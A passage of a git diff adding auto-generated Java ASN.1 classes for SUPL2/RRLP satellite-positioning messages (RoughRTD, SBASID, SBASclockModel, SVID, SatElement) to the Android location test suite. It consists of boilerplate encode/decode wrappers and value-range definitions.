+ public String toIndentedString(String indent) {
+ return "RequiredResponseTime = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RoughRTD.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RoughRTD.java
new file mode 100755
index 0000000..29e5c37
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RoughRTD.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class RoughRTD extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_RoughRTD
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public RoughRTD() {
+ super();
+ setValueRange("0", "1250");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_RoughRTD;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_RoughRTD != null) {
+ return ImmutableList.of(TAG_RoughRTD);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new RoughRTD from encoded stream.
+ */
+ public static RoughRTD fromPerUnaligned(byte[] encodedBytes) {
+ RoughRTD result = new RoughRTD();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new RoughRTD from encoded stream.
+ */
+ public static RoughRTD fromPerAligned(byte[] encodedBytes) {
+ RoughRTD result = new RoughRTD();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "RoughRTD = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SBASID.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SBASID.java
new file mode 100755
index 0000000..f0ec745
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SBASID.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SBASID extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_SBASID
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SBASID() {
+ super();
+ setMinSize(1);
+setMaxSize(8);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SBASID;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SBASID != null) {
+ return ImmutableList.of(TAG_SBASID);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SBASID from encoded stream.
+ */
+ public static SBASID fromPerUnaligned(byte[] encodedBytes) {
+ SBASID result = new SBASID();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SBASID from encoded stream.
+ */
+ public static SBASID fromPerAligned(byte[] encodedBytes) {
+ SBASID result = new SBASID();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "SBASID = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SBASclockModel.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SBASclockModel.java
new file mode 100755
index 0000000..b2a5b09c
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SBASclockModel.java
@@ -0,0 +1,588 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SBASclockModel extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SBASclockModel
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SBASclockModel() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SBASclockModel;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SBASclockModel != null) {
+ return ImmutableList.of(TAG_SBASclockModel);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SBASclockModel from encoded stream.
+ */
+ public static SBASclockModel fromPerUnaligned(byte[] encodedBytes) {
+ SBASclockModel result = new SBASclockModel();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SBASclockModel from encoded stream.
+ */
+ public static SBASclockModel fromPerAligned(byte[] encodedBytes) {
+ SBASclockModel result = new SBASclockModel();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SBASclockModel.sbasToType sbasTo_;
+ public SBASclockModel.sbasToType getSbasTo() {
+ return sbasTo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SBASclockModel.sbasToType
+ */
+ public void setSbasTo(Asn1Object value) {
+ this.sbasTo_ = (SBASclockModel.sbasToType) value;
+ }
+ public SBASclockModel.sbasToType setSbasToToNewInstance() {
+ sbasTo_ = new SBASclockModel.sbasToType();
+ return sbasTo_;
+ }
+
+ private SBASclockModel.sbasAgfoType sbasAgfo_;
+ public SBASclockModel.sbasAgfoType getSbasAgfo() {
+ return sbasAgfo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SBASclockModel.sbasAgfoType
+ */
+ public void setSbasAgfo(Asn1Object value) {
+ this.sbasAgfo_ = (SBASclockModel.sbasAgfoType) value;
+ }
+ public SBASclockModel.sbasAgfoType setSbasAgfoToNewInstance() {
+ sbasAgfo_ = new SBASclockModel.sbasAgfoType();
+ return sbasAgfo_;
+ }
+
+ private SBASclockModel.sbasAgf1Type sbasAgf1_;
+ public SBASclockModel.sbasAgf1Type getSbasAgf1() {
+ return sbasAgf1_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SBASclockModel.sbasAgf1Type
+ */
+ public void setSbasAgf1(Asn1Object value) {
+ this.sbasAgf1_ = (SBASclockModel.sbasAgf1Type) value;
+ }
+ public SBASclockModel.sbasAgf1Type setSbasAgf1ToNewInstance() {
+ sbasAgf1_ = new SBASclockModel.sbasAgf1Type();
+ return sbasAgf1_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSbasTo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSbasTo();
+ }
+
+ @Override public void setToNewInstance() {
+ setSbasToToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SBASclockModel.sbasToType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sbasTo : "
+ + getSbasTo().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getSbasAgfo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSbasAgfo();
+ }
+
+ @Override public void setToNewInstance() {
+ setSbasAgfoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SBASclockModel.sbasAgfoType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sbasAgfo : "
+ + getSbasAgfo().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getSbasAgf1() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSbasAgf1();
+ }
+
+ @Override public void setToNewInstance() {
+ setSbasAgf1ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SBASclockModel.sbasAgf1Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sbasAgf1 : "
+ + getSbasAgf1().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sbasToType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_sbasToType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sbasToType() {
+ super();
+ setValueRange("0", "5399");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sbasToType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sbasToType != null) {
+ return ImmutableList.of(TAG_sbasToType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sbasToType from encoded stream.
+ */
+ public static sbasToType fromPerUnaligned(byte[] encodedBytes) {
+ sbasToType result = new sbasToType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sbasToType from encoded stream.
+ */
+ public static sbasToType fromPerAligned(byte[] encodedBytes) {
+ sbasToType result = new sbasToType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sbasToType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sbasAgfoType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_sbasAgfoType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sbasAgfoType() {
+ super();
+ setValueRange("-2048", "2047");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sbasAgfoType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sbasAgfoType != null) {
+ return ImmutableList.of(TAG_sbasAgfoType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sbasAgfoType from encoded stream.
+ */
+ public static sbasAgfoType fromPerUnaligned(byte[] encodedBytes) {
+ sbasAgfoType result = new sbasAgfoType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sbasAgfoType from encoded stream.
+ */
+ public static sbasAgfoType fromPerAligned(byte[] encodedBytes) {
+ sbasAgfoType result = new sbasAgfoType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sbasAgfoType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sbasAgf1Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_sbasAgf1Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sbasAgf1Type() {
+ super();
+ setValueRange("-128", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sbasAgf1Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sbasAgf1Type != null) {
+ return ImmutableList.of(TAG_sbasAgf1Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sbasAgf1Type from encoded stream.
+ */
+ public static sbasAgf1Type fromPerUnaligned(byte[] encodedBytes) {
+ sbasAgf1Type result = new sbasAgf1Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sbasAgf1Type from encoded stream.
+ */
+ public static sbasAgf1Type fromPerAligned(byte[] encodedBytes) {
+ sbasAgf1Type result = new sbasAgf1Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sbasAgf1Type = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SBASclockModel = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SVID.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SVID.java
new file mode 100755
index 0000000..a8014c4
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SVID.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SVID extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_SVID
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SVID() {
+ super();
+ setValueRange("0", "63");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SVID;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SVID != null) {
+ return ImmutableList.of(TAG_SVID);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SVID from encoded stream.
+ */
+ public static SVID fromPerUnaligned(byte[] encodedBytes) {
+ SVID result = new SVID();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SVID from encoded stream.
+ */
+ public static SVID fromPerAligned(byte[] encodedBytes) {
+ SVID result = new SVID();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "SVID = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SatElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SatElement.java
new file mode 100755
index 0000000..d606e65
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SatElement.java
@@ -0,0 +1,1353 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SatElement extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SatElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SatElement() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SatElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SatElement != null) {
+ return ImmutableList.of(TAG_SatElement);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SatElement from encoded stream.
+ */
+ public static SatElement fromPerUnaligned(byte[] encodedBytes) {
+ SatElement result = new SatElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SatElement from encoded stream.
+ */
+ public static SatElement fromPerAligned(byte[] encodedBytes) {
+ SatElement result = new SatElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SatelliteID satelliteID_;
+ public SatelliteID getSatelliteID() {
+ return satelliteID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SatelliteID
+ */
+ public void setSatelliteID(Asn1Object value) {
+ this.satelliteID_ = (SatelliteID) value;
+ }
+ public SatelliteID setSatelliteIDToNewInstance() {
+ satelliteID_ = new SatelliteID();
+ return satelliteID_;
+ }
+
+ private SatElement.iodeType iode_;
+ public SatElement.iodeType getIode() {
+ return iode_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SatElement.iodeType
+ */
+ public void setIode(Asn1Object value) {
+ this.iode_ = (SatElement.iodeType) value;
+ }
+ public SatElement.iodeType setIodeToNewInstance() {
+ iode_ = new SatElement.iodeType();
+ return iode_;
+ }
+
+ private SatElement.udreType udre_;
+ public SatElement.udreType getUdre() {
+ return udre_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SatElement.udreType
+ */
+ public void setUdre(Asn1Object value) {
+ this.udre_ = (SatElement.udreType) value;
+ }
+ public SatElement.udreType setUdreToNewInstance() {
+ udre_ = new SatElement.udreType();
+ return udre_;
+ }
+
+ private SatElement.pseudoRangeCorType pseudoRangeCor_;
+ public SatElement.pseudoRangeCorType getPseudoRangeCor() {
+ return pseudoRangeCor_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SatElement.pseudoRangeCorType
+ */
+ public void setPseudoRangeCor(Asn1Object value) {
+ this.pseudoRangeCor_ = (SatElement.pseudoRangeCorType) value;
+ }
+ public SatElement.pseudoRangeCorType setPseudoRangeCorToNewInstance() {
+ pseudoRangeCor_ = new SatElement.pseudoRangeCorType();
+ return pseudoRangeCor_;
+ }
+
+ private SatElement.rangeRateCorType rangeRateCor_;
+ public SatElement.rangeRateCorType getRangeRateCor() {
+ return rangeRateCor_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SatElement.rangeRateCorType
+ */
+ public void setRangeRateCor(Asn1Object value) {
+ this.rangeRateCor_ = (SatElement.rangeRateCorType) value;
+ }
+ public SatElement.rangeRateCorType setRangeRateCorToNewInstance() {
+ rangeRateCor_ = new SatElement.rangeRateCorType();
+ return rangeRateCor_;
+ }
+
+ private SatElement.deltaPseudoRangeCor2Type deltaPseudoRangeCor2_;
+ public SatElement.deltaPseudoRangeCor2Type getDeltaPseudoRangeCor2() {
+ return deltaPseudoRangeCor2_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SatElement.deltaPseudoRangeCor2Type
+ */
+ public void setDeltaPseudoRangeCor2(Asn1Object value) {
+ this.deltaPseudoRangeCor2_ = (SatElement.deltaPseudoRangeCor2Type) value;
+ }
+ public SatElement.deltaPseudoRangeCor2Type setDeltaPseudoRangeCor2ToNewInstance() {
+ deltaPseudoRangeCor2_ = new SatElement.deltaPseudoRangeCor2Type();
+ return deltaPseudoRangeCor2_;
+ }
+
+ private SatElement.deltaRangeRateCor2Type deltaRangeRateCor2_;
+ public SatElement.deltaRangeRateCor2Type getDeltaRangeRateCor2() {
+ return deltaRangeRateCor2_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SatElement.deltaRangeRateCor2Type
+ */
+ public void setDeltaRangeRateCor2(Asn1Object value) {
+ this.deltaRangeRateCor2_ = (SatElement.deltaRangeRateCor2Type) value;
+ }
+ public SatElement.deltaRangeRateCor2Type setDeltaRangeRateCor2ToNewInstance() {
+ deltaRangeRateCor2_ = new SatElement.deltaRangeRateCor2Type();
+ return deltaRangeRateCor2_;
+ }
+
+ private SatElement.deltaPseudoRangeCor3Type deltaPseudoRangeCor3_;
+ public SatElement.deltaPseudoRangeCor3Type getDeltaPseudoRangeCor3() {
+ return deltaPseudoRangeCor3_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SatElement.deltaPseudoRangeCor3Type
+ */
+ public void setDeltaPseudoRangeCor3(Asn1Object value) {
+ this.deltaPseudoRangeCor3_ = (SatElement.deltaPseudoRangeCor3Type) value;
+ }
+ public SatElement.deltaPseudoRangeCor3Type setDeltaPseudoRangeCor3ToNewInstance() {
+ deltaPseudoRangeCor3_ = new SatElement.deltaPseudoRangeCor3Type();
+ return deltaPseudoRangeCor3_;
+ }
+
+ private SatElement.deltaRangeRateCor3Type deltaRangeRateCor3_;
+ public SatElement.deltaRangeRateCor3Type getDeltaRangeRateCor3() {
+ return deltaRangeRateCor3_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SatElement.deltaRangeRateCor3Type
+ */
+ public void setDeltaRangeRateCor3(Asn1Object value) {
